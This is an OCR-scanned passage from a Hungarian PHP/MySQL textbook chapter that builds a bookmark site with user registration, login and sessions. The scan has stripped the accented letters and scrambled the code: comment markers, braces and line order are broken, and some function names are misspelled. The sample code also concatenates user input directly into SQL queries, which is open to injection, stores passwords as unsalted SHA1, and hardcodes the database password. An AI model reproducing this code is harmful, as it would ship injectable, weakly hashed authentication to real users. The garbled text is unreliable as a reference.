Szmos lehetsg knlkozik a felhasznli hitelestsre, ahogy ezt a knyv korbbi rszben mr lttuk. Mivel szemlyre sza bott tartalmat szetetnnk knlni a ltogatknak, felhasznli azonostikat egy MySQL adatbzisban troljuk el, hogy azok segtsgvel ellenrizhessk ket.

392

27. fejezet

Ha szeremnk, hogy felhasznlink bejelenckezhessenek felhasznli nevkkel s jelszavukkal, a kvetkez alkotelemekre lesz szksgnk: A felhasznlknak lehetv kell tenni, hogy regisztrls sorn megadjk felhasznli nevket s jelszavukat. Valamilyen formban korltoznunk kell az egyes felhasznli nevek s jelszavak hosszt s formtumt. Biztonsgi okokbl titkost va kell trolnunk a jelszavakat. A felhasznlknak be kell tudniuk jelentkezni a regisztrci sorn megadott azonostkkal. Az oldal hasznlatnak befejezse utn a felhasznlknak ki kell tudniuk jelentkezni. Ennek a funkcinak nincs kl nsebb jelentsge, ha az emberek otthoni szmtgpkrl hasznljk az oldalt, tbb felhasznl ltal megosztott PC esetben azonban igen foncos szerepet jtszik biztonsgi tren. Az oldalnak el kell tudni dntenie, hogy egy adott felhasznl be van-e jelentkezve, s hozz kell frnie a bejelentkezett Felhasznlk adataihoz. A biztonsg nvelse rdekben garantlni kell a felhasznlknak a jelszavuk megvltoztatsnak lehetsgc. Lehetv kell tenni, hogy a Felhasznlk szemlyes kzremkdsnk nlkl j jelszt kaphassanak. Ezt leginkbb gy szek tk megoldani, hogy a regisztrci sorn megadott e-mail cmre elkldik a felhasznlnak a jelszt. Ebbl kvetkezik, hogy a regisztrcikor el kell trolnunk a Felhasznlk e-mail cmt. Mivel titkostott formban troljuk a jelszavakat, s az eredeti jelszavakat ebbl nem tudjuk visszalltani, lnyegben j jelszt kell generlni, belltani s elkldeni a felhasznlnak. A projekt megvalstshoz fggvnyeket fogunk rni minden egyes funkcihoz. A fggvnyek tbbsgc ms projektjeink ben is fel tudjuk majd hasznlni - igaz, ehhez esetenknt apr mdostsokra lehet majd szksg.

knyvjelzk trolsa
A Felhasznlk visszakereshetik s megtekinehetik knyvjelziket. A Felhasznlk j knyvjelzket adhatnak a meglvkhz. Az oldalnak ellenriznie kell, vajon rvnyes URL-eket adnak-e meg. A Felhasznlk trilierik knyvjelziket. Ezeket a lehetsgeket is fggvnyek megrsval fogjuk megteremteni.

A Felhasznlk knyvjelzinek is helyet kell adnunk MySQL adatbzisunkban. Az albbi funkcikat kell megvalstanunk:

Knyvjelzk ajnlsa
Tbbfle megkzeltst alkalmazhatunk arra, hogyan ajnljunk knyvjelzket a felhasznlknak. Figyelmkbe ajnlhatnnk pldul a legnpszerbb vagy egy adott tmn bell legnpszerbb oldalakat. Ebben a projektben azonban azt a megoldst vlasztj uk, hogy olyan felhasznlkat keresnk, akiknek a bejelentkezett felhasznlval egyez knyvjelzjk van, s ezeknek a felhasznlknak a tovbbi knyvjelzit ajnljuk a bejelentkezett felhasznlnak. A szemlyes jelleg knyvjelzk tovbbajn lsnak elkerlse rdekben csak olyan knyvjelzket fogunk ajnlani, amiket egynl tbb felhasznl trole el. Ezt a funkcit is fggvnyrssal fogjuk megvalstani.

A megolds ttekintse
Firklgattunk egy kicsit a szalvtnkra, gy kaptuk a 27.1 brn lthat, a projektet brzol folyamatbrt.

27
27.1 bra: A

PHPbookmark rendszer funkcii.

Felhasznli hitelests megvalstsa s szemlyre szabon tartalom megjelentse

393

Az brn lthat mindegyik tglalaphoz egy-egy modult fejleszthetnk; van kztk, amelyikhez egy, van, amelyikhez kt kdot kell rni. Az albbi terletekhez fggvnyknyvtrakat is ltrehozhatunk: Felhasznli hitelests Knyvjelzk trolsa s visszakeresse Adatellenrzs Adatbzishoz csatlakozs Kimenet megjelentse bngszben. A teljes HTML-ellltst erre a fggvnyknyvtrra korltozzuk, hogy egysges megjelentst adjunk a teljes oldalnak. (Ez a megkzelts ismt csak a mkds s a tartalom elklntst szolglja.) A rendszerhez ezen kvl mg egy olyan adatbzist is ltre kell hozni, amely az adatok feldolgozst fogja vgezni. A megoldst alkot kdokat nem teljes kren mutatjuk be, de az alkalmazs sszes kdja megcallhat
a

www.perfactkiado.hu/mellekletek oldalrl letlthet mellkletek

27_ fej e zet

knyvtrban. A beillesztett fjlok

sszefoglalst a 27 .l tblzat tartalmazza.


27.1

tblzat: A PHPbookmark alkalmazsfjijai Lers


Az alkalmazs adatbzist ltrehoz SQL kd Nyitoldali bejelentkezsi fellet a rendszerhez Regisztrcis rlap a felhasznlknak Az j regisztrcikat feldolgoz kd Elfelejten jelsz esetn kitltend rlap a felhasznlknak Az elfelejten jelszt visszallt kd A felhasznl sajt oldala, ahol aktulis knyvjelzit lthatja j knyvjelzk hozzadsra szolgl rlap Az j knyvjelzket az adatbzishoz hozzad kd A kijellt knyvjelzket a felhasznl listjbl trl kd A felhasznlknak a hasonl rdeklds trsaik knyvjelzit ajnl kd A regisztrlt felhasznlk ltal a jelszvltoztatshoz kitltend rlap A felhasznl jelszavt az adatbzisban megvltoztat kd A felhasznlt az alkalmazsbl kilptet kd A knyvjelzkezelssei kapcsolatos fggvnyknyvtr A felhasznl ltal bevin adatokat ellenrz fggvnyek Az adatbzishoz kapcsoldsra hasznlt fggvnyek A felhasznli hitelests fggvnyei Knyvjelzk hozzadshoz s trlshez, illetve ajnlshoz szk sges fggvnyek A kimenetet HTML-knt formz fggvnyek A PHPbookmark alkalmazs logja

Fjlnv
konyvjelzok.sql bejelentkezes.php regisztracios_urlap.php regisztracio_uj.php elfelejtett_urlap.php elfelejtett_jelszo.php tag.php kj_hozzaadasa_urlap.php kj_hozzaadasa.php kj_torlese.php ajanlas.php

jelszo_valtoztatas_urlap.php

jelszo_valtoztatas.php kijelentkezes.php konyvjelzo_fuggvenyek.php adat_ellenorzo_fuggvenyek.php adatbazis fuggvenyek.php felhasznaloi_hitelesites_fuggvenyek.php url fuggvenyek.php

kirneneti_fuggvenyek.php konyvjelzo.gif

Legelszr is az alkalmazs MySQL adatbzist hozzuk ltre, mert erre gyakorlatilag minden ms funkci mkdshez szksg lesz. Ezt kveten abban a sorrendben haladunk a kddal, ahogy azt eredetileg megirtk, gy a nyitoldal utn kvetkezik a fel hasznli hitelests, majd a knyvjelzk trolsa s visszakeresse, s legvgl azok ajnlsa. Ez a sorrend radsul viszonylag logikus is; az egsz abbl addik, hogy vgiggondoljuk, hogyan plnek egymsra a komponensek, majd elszr azokat az ele meket hozzuk ltre, amelyekre a ksbbi medulokhoz szksg lesz.

Megjegyzs: Az alkalmazs hibtlan megjelentshez javaScriptet tmogat bngszre van szksg.

27

394

27.fezet

Az adatbzis ltrehozsa
A PHPbookmark adatbzis igen egyszer felptssel rendelkezik. El kell trolni a felhasznlkat, illetve azok e-mail cmt s jelszavt. Trolnunk kell tovbb a knyvjelzk URL-jt.Egy felhasznlnak tbb knyvjelzje is lehet,s tbb felhasznl is elmentheti ugyanazt a knyvjelzt. Mindezek miatt kt tblra lesz szksgnk: fe lhasznalo s konyvjelzo ( 27 .2 bra).
user username laura luke passwd 7cbf26201 e73c9b 1fef10690eeb2e59 email laura@tangledweb.com.au luke@tangledweb.com.au

username laura laura

bm_URL http://slashdot.org http://php.net

27.2 bra: A PHPbookmark rendszer adatbzissmja.

A felhasznala tbla a felhasznlk felhasznli nevt (ez az elsdleges kulcs),jelszavt s e-mail cmt trolja. A konyvjelz tblba felhasznli nv s knyvjelz (kj_URL) prok kerlnek. Az ebben a tblban lv felhasznli nv a felhasznal o tbla felhasznli nevre hivatkozik. Az adatbzist, illetve az adatbzishoz az internetrl csatlakoz felhasznlt ltrehoz SQL kdot a 27.1 pldakd tartal mazza. Ha sajt rendszernkn kvnjuk hasznlni,mdostanunk kell ezt a fjlt. Ne felejtsk el a felhasznl jelszavt bizton sgosabbra cserlni!
27.1 pldakd: konyjelzok. sql -A knyvjelzk adatbzist ltrehoz SQL fjl
CREATE DATABASE konyvjelzok; USE konyvjelzok;

CREATE TABLE felhasznala felhasznaloi_nev VARCHAR(16) NOT NULL PRIMARY jlsz CHAR(40) NOT NULL, email VARCHAR(100) NOT NULL ); KEY,

CREATE TABLE konyvjelzo ( felhasznaloi_nev VARCHAR(l6) NOT NULL, kj_URL VARCHAR(255) NOT NULL, INDEX (felhasznaloi_nev), INDEX (kj_URL), PRIMARY ); KEY(felhasznaloi nev, kj_URL)

GRANT SELECT,

INSERT,

UPDATE,

DELETE

ON konyvjelzok.* TO kj felhasznalo@localhost IDENTIFIED BY 'jelszo';

Az adatbzist gy tudjuk ltrehozni rendszernkn, ha root MySQL-felhasznlknt lefuttatjuk a fenti parancsokat.A k

27

vetkez paranccsal tehetjk ezt meg rendszernk parancssorbl:


mysql
-u

root

-p

<

konyjelzok.sql

A rendszer krni fogja a jelsz begpelst. Ha az adatbzis ltrejtt, kszen llunk a folytatsra: ksztsk el az oldalt!

Felhasznli hitelests megvalstsa s szemlyre szabott carealom megjelencse

395

A nyitoldalltrehozsa
A:z. elskne elksztend oldal neve bejelentkezes.php, mert itt knljuk fel a felhasznlknak a rendszerbe bejelentkezs

lehecsgc. A nyitoldal kdjt a 27.2 pldakd tartalmazza.


27.2 pldakd: bejelentkezes.php-A PHPbookmark rendszer nyitoldala
<?php require_once('konyvjelzo_fuggvenyek.php'); html fejlec_letrehozasa(' '); oldal info_megjelenitese(); bejelentkezesi_urlap_megjelenitese();

html_lablec_letrehozas(); ?>

Nagyon egyszer kddal llunk szemben, mert tbbnyire csak az alkalmazshoz ltrehozand fggvny API (alkalmazs programozsi interfsz) fggvnyeit hvja meg. Rvidesen rszleeesen is megvizsgljuk ezeket a fggvnyeket. Erre a fjira rnzve azt lthatjuk, hogy beszr egy (a fggvnyeket tartalmaz) fjlt, majd ms fggvnyeket meghvva ltrehozza a HTML fejlcec, megjelenic valamilyen tartalmat, vgl pedig elkszti a HTML lblcet.
A kd ltal ellltott kimenetet a 27.3 brn ltjuk.

1tt-..I :: Cf;i : -==,;l


- ,........ _..,... ...

PHPbookmark

,;;:

T ..... _.......,.. __ .,..... ....................... \OIIIIolll! O.V ... -----...

lli:. l

27.3 bra: A PHPbookmark rendszer nyitoldalt a bejeleutkezes.php fjlban tallhat

HTML renderel fggvnyek lltjk el.


A rendszerhez szksges fggvnyeket a 27.3 pldakdban lthat konyvjelzo_fuggvenyek. php fjlba illesztettk bele. 27.3 pldak d: ko nyvjel z o_ fuggven yek. php - A PHPbookmark alkalmazs fggvnyeit be illeszt fjl
<?php

ll Ezt a fjlt az sszes fjlba beilleszthetjk, ll gy mindegyik tartalmazni fogja fggvnyeinket s kivteleinket
require_once('adat_ellenorzo_fuggvenyek.php'); require_once('adatbazis_fuggvenyek.php'); require_once('felhasznaloi_hitelesites_fuggvenyek.php'); requre_once('kimeneti fuggvenyek.php'); require_once('url fuggvenyek.php'); ?>

Lthatjuk, hogy ez a fjl csupn troljul szolgl az alkalmazsban hasznland t msik beillesztett fjlnak. A:z.rt adtunk ilyen struktrt a projektnek, mert a fggvnyek jl elklnthet logikai csoportokba sorolhatk. Ezek kzl egyes fggvny csoportokat vlheten ms projektekben is kivlan felhasznlhatunk majd, ezrt kln llomnyokba pakoltuk, hogy ksbb

396

27. fejezet

knnyen megtallhassuk ket. Akonyvjelzo_fuggvenyek. php fjlt azrt hoztuk ltre, mert az t fggvnyfjl tbbs gt szinte mindegyik kdban hasznlni fogjuk. Egyszerbb ezt az egy fjlt beilleszteni a kdba,rnint rninden alkalommal t require utastst kiadni. Ebben a konkrt esetben a kimeneti_fuggvenyek. php fjl fggvnyeit hasznljuk. Mindegyik magtl rtetd fggvny, s viszonylag egyszer HMTL kimenetet eredmnyez. Ez a fjl tartalmazza azt a ngy fggvnyt ( html_fejlee_ letrehozasa(), oldal_info_megjelenitese(), bejelentkezesi_urlap_megjelenitese () s html_ lablec_letrehozasa ()),amit nhny tovbbival egyetemben a bejelentkezes. ph p fjlban fogunk hasznlni . Nem fogunk mind a ngy fggvnyen egyenknt vgigmenni,pldaknt nzzk meg rszletesen az egyiket! Ahtml_ fejlee_letrehozasa () fggvny kdjt a 27.4 pldakdban lthatjuk.
27.4

pldakd: A

kimeneti_fuggvenyek .php knyvtr html_fejlec_letrehozasa ()fggvnye- Ez afggvny

kszti el az alkalmazs minden oldaln lthat, llandfejlcet


function html feJlec_letrehozasa($oldalcim) ll HTML fejlc megjelenitse ?> <html> <head> <title><?php echo $oldalcim;?><ltitle> <style> body li, hr a

{ font-family: Arial,
td

Helvetica,

sans-serif; font-size: l3px l sans-serif; font-size: l3px

font-family:

Arial,

Helvetica,

{ {

color:

#3333cc; width=300px; text-align:leftl

color: #000000 l

<lstyle> <lhead> <body> <img src="konyvjelzo.gif" alt="PHPbookmark logo" border="O" align="left" valign="bottom" height="55" width="57" l> <hl>PHPbookmark<lhl> <hr l> <?php if($oldalcim) html focim($oldalcim);

Lthatjuk, hogy a html_fejlec_letrehozasa() fggvny egyetlen feladata, hogy megfelel cmer s lblcet adjon az oldalnak. Abejelentkezes. php fjlban hasznlt tovbbi fggvnyek ugyangy mkdnek. Az oldal_ info_megjelenit ese() fggvny nmi ltalnos szveget jelent meg az oldalrl, a bej elentkezesi_urlap_ megjelenitese () fggvny a 27.3 brn lthat szrke bejelentkezsi felletet hozza ltre, a html_lablec _ letrehozasa() fggvny lland HTML lblcet ad az oldalnak. A PHP s a MySQL hasznlata nagy projektekben cm 25. fejezetben mr sz esett arrl, milyen elnykkel jr az, ha a HTML elllrst elklntjk alkalmazsunk f mkdsi elvtL Ebben a projektben az AP I-s megkzeltst kvetjk. A 27.3 brra pillantva ltszik,hogy az oldalon hrom vlasztsi lehetsget knlunk fel: a felhasznl regisztrlhat,re gisztrlt felhasznlknt bejelentkezhet,illetve tllthatja jelszavr,amennyiben elfelejtette. Hogy elksztsk ezeket a modu lokat, a felhasznli hitelesrst megvalst rsszel kell folytatni munknkat.

A felhasznli hitelests megvalstsa

27

Afelhasznli

hitelesrst megvalst modul ngy f elembl ll: felhasznlk regisztrlsa, be- s kijelentkezs, jelszvltoz tats s j jelsz krse. A most kvetkez oldalakon egyenknt is megvizsgljuk ezeket az elemeket.

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

397

Felhasznlk regisztrlsa
Ahhoz, hogy regisztrlni tudjunk egy felhasznlt, egy rlap segtsgvel be kell krni az adatait, majd be kell vinni az adat bzisba. Amikor a felhasznl a bejelentkezes.php oldal Mg nem tag? hivatkozsra kattint, a 27.5 pldakdban lthat
regisztracios_ur lap. php ltal ltrehozott regisztrcis felletre jut.

27.5 pldakd: regisztracios_urlap.php-A Jelhasznlk ezen azrlapon regisztrlhatnak a PHPbookmark alkalmazshoz


<?php require_once('konyvjelzo fuggvenyek.php'); htrnl fejlee letrehozasa('Felhasznli regisztrci'); regisztracios_urlap_megjelenitese(); html lablec letrehozasa(); ?>

Megint csak egy nagyon egyszer kdot lrunk, ami semmi mst nem tesz, mint fggvnyeket hv meg a kimeneti_
fuggvenyek. php fjlban lv fggvnyknyvtrbL A 27.4 brn a kd ltal ltrehozott kimenetet lthatjuk.

Az oldalon lv szrke rlap a kimeneti_ fuggvenyek.php fjlban tallhat regisztracios _urlap_


megjelenitese () fggvny eredmnye. Amikor a felhasznl a"Regisztrls" gombra kattint, a 27.6 pldakdban lv regisztracio_uj .phpkdhoz jut.

27.4 bra: A regisztrcisrlap az adatbzisba kerl Jelhasznli adatokat gyjti be.

Az elgpelst elkerlend ktszer kell a jelszt azrlapba bevinni.


27.6 pldakd: regisztracio_uj. php-A kd ellenrzi az j Jelhasznlk adatait, majd eltroija ket az adatbzisba
<?php

ll az alkalmazs fggvnyfjljainak beillesztse


require_once('konyvJelzo fuggvenyek.php'); //rvid vltoznevek ltrehozsa $email=$ POST['email']; $felhasznaloi_nev=$_POST['felhasznaloi_nev']; $jlsz=$_POST['jlsz']; $jlsz2=$_POST['jlsz2'];

ll indtsuk el a munkamenetet, ll azrt most indtsuk el,


session start(); try

amelyre ksbb szksgnk lesz!

mert a fejlcek el kell kerlnie

27

ll kitlttt rlapok ellenrzse

398

27. fejezet

if (! kitoltott($

POST))

throw new Exception('Nem megfelelen tlttte ki az rlapot krjk, prblja meg jra!');

ll rvnytelen e-mail cm
if (1ervenyes_email($email)) throw new Exception('rvnytelen e-mail cm. Krjk, prblja meg jra!');

ll nem egyez jelszavak


if ($jlsz != $jlsz2) ( throw new Exception('A megadott jelszavak nem megfelelk krjk, prblja meg jra!');

ll jelsz hossznak ellenrzse ll az nem baj,


ha a felhasznli nv csonkul,

ll de a tl hossz jelszavak srlnnek


if ((strlen($jlsz) <

6)

ll

(strlen($jlsz) >

16))

throw new Exception('A jelsz hossznak Krjk, prblja meg jra'');

6 s 16 karakter kz kell esnie.

ll regisztrci megprblsa ll ez a fggvny is vlthat ki kivtelt


regisztral($felhasznaloi_nev, $email, $jlsz);

ll munkamenet-vltoz regisztrlsa
$_SESSION['ervenyes felhasznalo']
=

$felhasznaloi nev;

ll a tagoknak sznt oldalra mutat hivatkozs megjelenitse


html_fejlec_letrehozasa('Sikeres regisztrci'); echo 'A regisztrci sikerlt. Knyvjelzk belltshoz krjk, menjen

a tagoknak fenntartott oldalainkra1 '; htm l_url letrehozasa('tag. php', 'Ugrs a tagok oldalra') ;

ll oldal befejezse
html lablec_letrehozasa();

catch (Exception $e)

html fejlec_letrehozasa('Hiba: '); echo $e->getMessage(); html lablec_letrehozasa(); exit;

?>

Ez ebben az alkalmazsban az els kd, ami valamennyire sszetermek nevezhet. Azzal indul, hogy beilleszti az alkalmazs fiiggvnyfjljait, majd elindt egy munkamenetet (session). (Regisztrlt felhasznl esetn munkamenet-vltzknt hozzuk

27

ltre felhasznli nevt, ahogy a Munkamenet-vezrls PHP-ben cm 23. fejezetben is tettk.) A kd rdemi rsze a try blokkba kerl, ahol tbb felttelt is ellenrznk. Ha ezek brmelyike nem teljesl, a vgrehajts a catch blokkba kerl (rvidesen ennek tartalmr is megvizsgljuk). Ezt kveten ellenrizzk a felhasznl ltal bevirt adatokat. Irt a kvetkezkrl kell meggyzdnnk:

Felhasznli hitelests megvalstsa s szemlyre szabort tartalom megjelentse

399

Ki !ert-e tltve az rlap? Errl a kitoltott() fggvny meghvsval gyzdhetnk meg:


if (!kitoltott($ POST))

Ezt a fggvnyt mi magunk rtuk, az; adat_ellenorzo_fuggvenyek. php fjl fggvnyknyvtrban helyezkedik el. Rvidesen rszletesebben is ttekintjk ezt a fggvnyt. A megadott e-mail cm rvnyes-e? Ezt a kvetkez utastssal ellenrizzk:
if (ervenyes_email($email))

Ismt egy ltalunk rt fggvnnyel van dolgunk, amely hat.

az;

adat_ellenorzo _fuggvenyek.php knyvtrban tall

A felhasznl ltal megadort kt jelsz megegyezik-e egymssal? Ezt a kvetkez feltteles utastssal ellenrizhetjk:
if ($jlsz

$jlsz2)
az;

A felhasznli nv s jelsz hosszt is ellenrizni kell


if ( (strlen($jlsz)
<

albbi urastsokkal:

6) 16)
az;

s
if ((strlen($jlsz) >

A pldban a jelsznak legalbb 6 karakter hossznak kell lennie, hogy ne lehessen tl knnyen kitallni, a felhasznli nvnek pedig 17 karakternl rvidebbnek kell lennie ahhoz, hogy befrjen hosszrl fggetlenl mindig 40 karakter hossz lesz. Az irt hasznlt adatellenrz fggvny a kitoltott ( ) s az ervenyes_email (),ami a 27.7, illetve a 27.8 pldakd ban lthat. 27.7 pldakd: Az adat_ellenorzo_fuggvenyek. php knyvtr kitoltott ()fggvnye- Ez afggvny ellenrzi, hogy
az rlap ki lett-e tltve
function kitoltott($urlap_valtozok)

adatbzisba. Vegyk szre, hogy a jelsz

maximlis mrett ily mdon nem korltozzuk! Nincs is rtelme, mert SHAl hashben troljuk, ami az; adott jelsz

{ > $ertek)
' ' ))

ll ellenrizzk,

hogy minden vltoznak van-e rtke


=

foreach ($urlap_valtozok as $kulcs if ( (! isset($kulcs)) return false;

ll

($ertek

==

return true;

27.8 pldakd: Az adat_ellenorzo_fuggvenyek.phpknyvtr ervenyes_email ()fggvnye- Afggvny az e-mail


cm rvnyessgt ellenrzi
function ervenyes_email($email eim) (

ll e-mail cm rvnyessgnek ellenrzse


if (ereg('A[a-zA-Z0-9 \.\-)+@[a-zA-Z0-9\-)+\. [a-zA-Z0-9\-\.)+$', return true; else $email eim))

return false;

A kitoltott ( ) fggvny vltozk tmbjt vrja paramterknt; ez ltalban a$_POST vagy a $_GET tmb lesz. Ellen rzi,hogy minden rlapmez ki van-e tltve; ha igen, akkor true, ellenkez esetben false rtker ad vissza. Az ervenyes_email() fggvny tr vissza.
az;

ltalunk a 4. fejezetben kidolgozort regulris kifejezsnl valamivel sszetettebb kife

jezssel prbl meggyzdni az; e-mail cmek rvnyessgrL rvnyesnek tn cm esetn true, egybknt false rtkkel

27

400

27. fejezet

A felhasznli adatok ellenrzse utn megprblkozhatunk a felhasznl regisztrlsvaL Ha visszalapozunk a 27.6 plda
kdra, lthatjuk, hogy a kvetkezkppen tettk ezt:
regisztral($felhasznaloi_nev, $email, $jlsz);

ll munkamenet-vltoz regisztrlsa
$_SESSION['ervenyes felhasznalo'] = $felhasznaloi_nev;

ll a tagoknak sznt oldalra mutat hivatkozs megjelenitse


html_fejlec_letrehozasa('Sikeres regisztrci'); echo 'A regisztrci sikerlt. Knyvjelzk belltshoz krjk, a tagoknak fenntartott oldalainkra! '; html_url_letrehozasa('tag.php', 'Ugrs a tagok oldalra'); menjen

ll oldal befejezse
html_lablec_letrehozasa();

A fenti kdbl ltszik, hogy a regisztral () fggvnyt a bevitt felhasznli nvvel, e-mail cmmel s jelszval hvjuk
meg. Ha meghvsa sikeres, a felhasznli nevet munkamenet-vltozknt rgztjk, s megjelentjk a felhasznlnak a tagok foldalra mutat hivatkozst. (Hiba esetn a fggvny kivtelt vlt ki, arnt a catch blokkban kezelnk.) A kd eredmnyt a 27.5 brn ltjuk.

PHPbookmark Siket"U regisztrci

......-

!jbol

......

_...."....

toMi

..

--:'t-:?
_. ---

.... ....... ....

27.5 bra: Sikeres regisztrci; aJelhasznlfolytathatja a bngszst a tagoknakfenntartott oldalon. A regisztral() fggvny a felhasznaloi_hitelesites _fuggvenyek. php nevbeillesztett knyvtrban tall
hat. A fggvny kdjt a 27.9 pldakdban lthatjuk.

27.9 pldakd: A felhasznaloi_hitelesites_fuggvenyek. php knyvtr regisztral ()fggvnye- Afggvny

megprblja eitroini az jJelhasznl adatait az adatbzisban


function regisztral($felhasznaloi_nev, $email, $jelszo)

ll j felhasznl regisztrlsa az adatbzisba ll true visszatrsi rtk vagy hibazenet ll kapcsolds az adatbzishoz
$kapcsolat = adatbazishoz kapcsolodas();

ll felhasznli nv egyedisgnek ellenrzse


$eredmeny = $kapcsolat->query("SELECT
*

FROM felhasznala

WHERE felhasznaloi_nev='".$felhasznaloi_nev."'");

27

if

(! $eredmeny) {
throw new Exception('A lekrdezs nem hajthat vgre');

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

401

if ($eredmeny->num_rows>0) throw new Exception('A

{
vlasszon msikat!');

felhasznli nv mr foglalt -

ll ha OK,
$eredmeny

tegye be az adatbzisba
=

$kapcsolat->query("INSERT INTO felhasznalo VALUES ('".$felhasznaloi nev."', shal('".$jelszo."'), '".$email."')");

if (! $eredmeny)

{
krjk, prblkezzon ksbb!');

throw new Exception('Nem sikerlt regisztrlni az adatbzisban

return true;

Igazbl semmi jdonsg nincsen ebben a fggvnyben; egyszeren csatlakozik a korbban ltrehozott adatbzishoz. Ha a kivlasztott felhasznli nv mr foglalt, vagy az adatbzis nem frissthet, a kd kivtelt vlt ki. Minden ms esetben frissti az adatbzist, s true visszatrsi rtket ad. Figyeljk meg. hogy az adatbzishoz val tnyleges csatlakozst az ltalunk rt, adatbazishoz kapcsolodas () nev
_

fggvnnyel htjuk vgre. A fggvny nagy elnye, hogy egyeden helyen tartalmazza az adatbzishoz csatlakozshoz szksges felhasznli nevet s jelszt. Ez azt jelenti, hogy ha mdostjuk az adatbzis jelszavt, egyeden fjlt kell megvltoztaeni az alkal mazsunkban. Az adatbazishoz kapcsolodas () fggvnyt a 27.10 pldakdban lthatjuk.
_

27.10 pldakd: Az adatbazis_fuggvenyek. phpknyvtr adatbazishoz_kapcsolodas ()fggvnye- Ezzel afgg

vnnyel kapcsoldunk a MySQL adatbzishoz


<?php

function adatbazishoz_kapcsolodas() $eredmeny


=

{
'kj_felhasznalo', 'jelszo', 'konyvjelzok');

new mysqli ('localhost',

if (! $eredmeny)

throw new Exception('Nem sikerlt kapcsoldni az adatbzisszerverhez'); else

return $eredmeny;

?>

A regisztrlt Felhasznlk a szoksos bejelentkezsi s Icijelentkezsi oldalon jelentkezhetnek be, illetve lphetnek ki. Ezeket a felleteket hozzuk ltre most.

Bejelentkezs
Ha a Felhasznlk megadjk adataikat a bej elentkezes.php ltal megjelentett rlapon (27.3 bra), s elkldik ket, a tag. php nev fjlba jutnak. A kd belpteti ket, s megjelenti a bejelentkezett Felhasznlk szmra relevns knyvjelz ket. Ez a kd ll az alkalmazs tbbi rsznek a kzppontjban. A kdot a 27.11 pldakd tartalmazza.

l'

27

402

27. fejezet

27 .ll pldakd: tag.php


<?php

Az egsz alkalmazs kzpponijban ll kd

ll az alkalmazs fggvnyfjljainak beillesztse


require_once('konyvjelzo_fuggvenyek.php'); session_start();

ll rvid vltoznevek ltrehozsa


$felhasznaloi_nev $jlsz
= =

$ POST['felhasznaloi nev'];

$ POST['jlsz']; $jlsz)

if ($felhasznaloi_nev try

&&

ll megprblnak bejelentkezni {
$jlsz); regisztrljuk a felhasznli nevet $felhasznaloi_nev; bejelentkezes($felhasznaloi_nev, $_SESSION['ervenyes_felhasznalo'] catch(Exception $e)

ll ha megtallhatk az adatbzisban,

ll sikertelen bejelentkezs
html feJlee letrehozasa('Hba:'); echo 'Nem sikerlt bejelentkezni. Az oldal megtekintshez be kell jelentkeznie.'; html_url_letrehozasa('bejelentkezes.php', html lablec_letrehozasa(); exit; 'Bejelentkezs');

html_fejlec_letrehozasa('Kezdlap'); ervenyes_felhasznalo_ellenorzese();

ll a felhasznl ltal elmentett knyvjelzk lekrse


f ($url_tomb
=

felhasznaloi_url lekerdezese($ SESSION['ervenyes felhasznalo']))

felhasznaloi_url_megjelenitese($url tomb);

ll menlehetsgek megjelentse
felhasznaloi_menu_megjelenitese(); html lablec_letrehozasa(); ?>

A tag . php kd mkdsi logikja ismers lehet szmunkra: rszben a 23. fejezetben megismert elemeket hasznlja fel

jra. Elszr is ellenrizzk, hogy a felhasznl a nyitoldalrl jtt-e - vagyis majd megprbljuk belptetni:
f ($felhasznaloi nev try {
&& az

imnt kitlttte-e a bejelentkezsi rlapot-,

$jlsz)

ll megprblnak bejelentkezni

27

bejelentkezes($felhasznaloi nev, $ SESSION['ervenyes felhasznalo']

$jlsz); regisztrljuk a felhasznli nevet $felhasznaloi nev;

ll ha megtallhatk az adatbzisban,

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

403

A bejelentkezes () nev fggvnnyel prbljuk meg belptetni a felhasznlt. A fggvnyt a felhasznaloi_


hitelesites_fuggvenyek. php knyvtrban definiltuk,s rvidesen megvizsgljuk a kdjt.

Ha a felhasznl sikeresen bejelentkezett,a korbbiakhoz hasonlan most is feljegyezzk a munkamenetet. Ennek rdek ben az ervenyes_felhasznalo munkamenet-vltozban eltroljuk a felhasznli nevt. Ha minden jl megy,ezt kveten a tagoknak fenntartott oldalt jelentjk meg a felhasznlnak:
html_fejlec_letrehozasa('Kezdlap'); ervenyes_felhasznalo_ellenorzese();

ll a felhasznl ltal elmentett knyvjelzk lekrse


if ($url_tomb
=

felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo']))

felhasznaloi_url_megjelenitese($url_tomb);

ll menlehetsgek megjelenitse
felhasznaloi_menu_megjelenitese();

html_lablec_letrehozasa();

Ezt az oldalt is kimeneti fggvnyek segtsgvel hozzuk ltre. Figyeljk meg, hogy az oldal tovbbi fggvnyeket is hasznl:
a

felhasznaloi_hitelesites_fuggvenyek. php knyvtr ervenyes_felhasznalo_ellenorzese (),az url_

fuggvenyek. php knyvtr felhasznaloi_url_lekerdezese (),illetve a kimeneti_fuggvenyek. php knyvtr felhasznaloi_url_megjelenitese () fggvnyt. Az ervenyes_felhasznalo_ellenorzese () fggvny
azt

ellenrzi,hogy az aktulis felhasznlhoz regisztrltunk-e munkamenetet. Ez az olyan felhasznlk miatt szksges, akik nem pp az imnt jelentkeztek be,hanem pont a munkamenet kzepn jrnak. A felhasznaloi_url_lekerdezese ( ) fggvny lekrdezi az adatbzisbl az adott felhasznl knyvjelzit,
a

felhas znaloi_url_ megjeleni tese ( ) pedig egy tblzatban megjelenti azokat a bngszben. Rgtn rszletesen is

megvizsgljuk az ervenyes_felhasznalo_ellenorzese() fggvnyt, a msik kettvel pedig a knyvjelzk trolsnl s visszakeressnl foglalkozunk majd. A tag. php kd a felhasznaloi_menu_megjelenitese() fggvny segtsgvel megjelenti a ment, s ezzel zrja
az

oldalt. A 27.6 brn egy, a tag. php fjl ltal ltrehozott mintaoldal lthat.

lt.ll ,..._

Kezd61p

....

! :;
PHPbookmark

"*'"" ....

-.i.t-=.

IIII.I.JIIMMI ---

27.6 bra: A tag. php kd meggyzdik rla, hogy a felhasznl bejelentkezett-e, visszakeresi s megjelenti knyvjelzit,

majd a men megjelentsvel vlasztsi lehetsget ad neki a bngszs folytatsra. Vizsgljuk meg most kicsit kzelebbrl a bejelentkezes() s az ervenyes_felhasznalo _ellenorzese() fgg vnyt! A bejelentkezes() fggvnyt a 27.12 pldakdban lthatjuk.
27.12 pldakd: A felhasznaloi _hitelesites_fuggvenyek. php knyvtr bejelentkezes() fggvnye- A fgg

vny sszeveti a felhasznli azonostkat az adatbzisban trolt adatokkal
